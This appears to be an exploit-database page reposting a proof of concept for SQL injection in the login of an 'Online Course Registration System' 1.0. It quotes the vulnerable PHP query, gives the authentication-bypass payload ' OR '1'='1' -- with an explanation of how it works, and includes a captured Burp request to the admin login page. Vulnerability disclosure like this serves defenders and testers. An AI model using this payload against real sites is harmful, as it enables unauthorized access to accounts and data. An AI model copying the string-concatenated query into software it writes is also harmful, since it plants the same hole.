Online Course Registration System - SQL Injection in User Authentication

CVE Category Price Severity
CVE-2021-3591 CWE-89 $500 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2024-02-10

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Online Course Registration System - SQL Injection in User Authentication
# Exploit Title: [Online Course Registration System - SQL Injection in User Authentication]
# Date: 02/09/2024
# Exploit Author: h4xforensics-diyar
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Windows 11 + XAMPP 8.0.30

# Description # 

The code exhibits a SQL injection vulnerability due to the insecure handling of user input. The vulnerability is present in the following line:

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
Where It's Vulnerable:

The vulnerability lies in the direct concatenation of user-supplied values ($username and $password) into the SQL query string. This practice allows an attacker to manipulate the input and potentially execute unauthorized SQL queries, posing a risk of unauthorized access or data manipulation. 

## Proof Of Concept ## 

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
An attacker could exploit the SQL injection vulnerability by manipulating the username field. They could input something like below:

' OR '1'='1' --

This input would make the query look like:

SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'hashed_password';


The single quote (') closes the original string.
OR '1'='1' is a condition that always evaluates to true, allowing the attacker to bypass the login.
-- is used to comment out the remaining part of the original query this input would allow an attacker to log in without a valid username and password. 

Burp Suite Request :

POST /admin/index.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=h08ab7d2umqg507c1392g0opmp
Content-Length: 46
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://localhost/admin/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

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